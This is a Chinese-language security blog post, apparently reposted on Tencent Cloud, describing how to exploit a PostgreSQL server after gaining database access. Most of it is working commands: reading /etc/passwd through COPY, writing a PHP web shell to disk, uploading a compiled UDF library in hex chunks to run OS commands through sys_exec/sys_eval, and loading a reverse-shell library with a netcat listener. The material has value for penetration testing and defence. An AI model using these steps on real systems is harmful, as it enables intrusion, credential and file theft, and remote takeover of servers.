前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >postgresql数据库利用方式

postgresql数据库利用方式

作者头像
信安之路
发布2018-08-08 14:10:36
1.7K0
发布2018-08-08 14:10:36
举报
文章被收录于专栏:信安之路信安之路

PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),本文对于postgresql的使用及利用做个总结备份。

测试系统:kali

基本使用

  • 在root权限下修改数据库密码:

service postgresql start #启动服务 su postgres #切换到数据库用户下 psql postgres #进入数据库 alter user postgres with password 'postgres';  #修改数据库的密码为:postgres

  • 在其他用户权限下,使用帐号密码登入系统:

psql -h 127.0.0.1 -U postgres -W

  • 进入数据库查看帮助信息:

help

\h

\?

查看数据中的信息

  • 列出数据库

\l

  • 列出数据库的用户

\du

使用数据库获取系统信息

  • 列出系统目录列表:

select pg_ls_dir('/etc');

  • 读取系统文件:

select pg_read_file('postgresql.auto.conf', 0, 200);

drop table pwn; CREATE TABLE pwn(t TEXT); COPY pwn FROM '/etc/passwd'; SELECT * FROM pwn limit 1 offset 0; DROP table pwn;

  • 写文件

DROP TABLE pwn; CREATE TABLE pwn (t TEXT); INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>'); SELECT * FROM pwn; COPY pwn(t) TO '/tmp/cmd.php'; DROP TABLE pwn;

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

使用数据库执行系统命令

执行系统命令需要用到udf库,下面测试一下

  • 获取源码:

git clone https://github.com/sqlmapproject/udfhack/

  • 编译源码(数据库版本:9.6)

cd udfhack/linux/64/lib_postgresqludf_sys apt-get install postgresql-server-dev-9.6 gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so strip -sx udf64.so

  • 上传获取到的udf64.so上传到服务器

将udf64.so转为hex,我自己写了一个转换小脚本,如下:

将以上代码保存为bin2hex.py,然后使用如下命令转换:

python bin2hex.py udf64.so

上传,将上面得到的hex值传入下面的语句中执行:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('7f454c4....', 'hex'));

直接将所有内容全部写入会报错,如下:

实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段,稍微修改一下代码,如下:

这样分成多个段进行写入,就可以成功写入,使用如下命令:

SELECT lo_create(11111); INSERT INTO pg_largeobject VALUES (11111, 0, decode('7f454c4...0000', 'hex')); INSERT INTO pg_largeobject VALUES (11111, 1, decode('0000000...0000', 'hex')); INSERT INTO pg_largeobject VALUES (11111, 2, decode('f604000...0000', 'hex')); INSERT INTO pg_largeobject VALUES (11111, 3, decode('0000000...7400', 'hex')); ..... SELECT lo_export(11111, '/tmp/test.so'); SELECT lo_unlink(11111);

  • 创建Postgresql功能

CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/test.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

使用sys_exec执行命令:

SELECT sys_exec('id'); #无回显 SELECT sys_eval('id'); #有回显

反弹shell

这个跟udf的那个类似,唯一的不同就是使用的库不同,使用如下代码:

编译代码:

gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so strip -sx nc.so

创建功能:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/nc.so', 'exec' LANGUAGE C STRICT;

在kali上监听4444端口:

nc -vv -l -p 4444

执行功能:

SELECT exec();

结果如图:

总结

本文主要讲述了关于postgresql数据库的使用以及在得到一个数据库权限之后,利用这个数据库可以做什么,怎么做进行了测试,在这里给大家做个参考,欢迎大家留言讨论。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-08-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本使用
  • 使用数据库执行系统命令
  • 反弹shell
  • 总结
相关产品与服务
数据库专家服务
数据库专家服务(Database Expert Service,DBexpert)为您提供专业化的数据库服务。仅需提交您的具体问题和需求,即可获得腾讯云数据库专家的专业支持,助您解决各类专业化问题。腾讯云数据库专家服务团队均有10年以上的 DBA 经验,拥有亿级用户产品的数据库管理经验,以及丰富的服务经验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档